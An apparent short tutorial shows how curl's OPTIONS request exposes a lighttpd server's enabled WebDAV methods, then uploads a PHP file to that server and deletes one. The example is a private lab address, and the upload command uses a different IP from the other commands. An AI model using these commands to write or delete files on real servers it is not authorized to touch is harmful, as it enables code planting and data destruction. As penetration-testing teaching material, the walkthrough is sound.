Sometimes everything what you need is curl



Target server – What option we have

Request / Response

curl -v -X OPTIONS 192.168.0.102
*   Trying 192.168.0.102...
* Connected to 192.168.0.102 (192.168.0.102) port 80 (#0)
> OPTIONS / HTTP/1.1
> Host: 192.168.0.102
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Allow: OPTIONS, GET, HEAD, POST
< Content-Length: 0
< Date: Thu, 21 Dec 2017 00:32:04 GMT
< Server: lighttpd/1.4.28

in the response we can see that list of Allowed method is quite long “PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK”

What we can do ?

We can try to upload file to server 🙂

curl --upload-file  php-echo.txt -v --url http://192.168.0.105/php-echo.php -0 --http1.0

Or we can remove file if we want to 🙂

curl -i -X DELETE 192.168.0.102/php-echo.php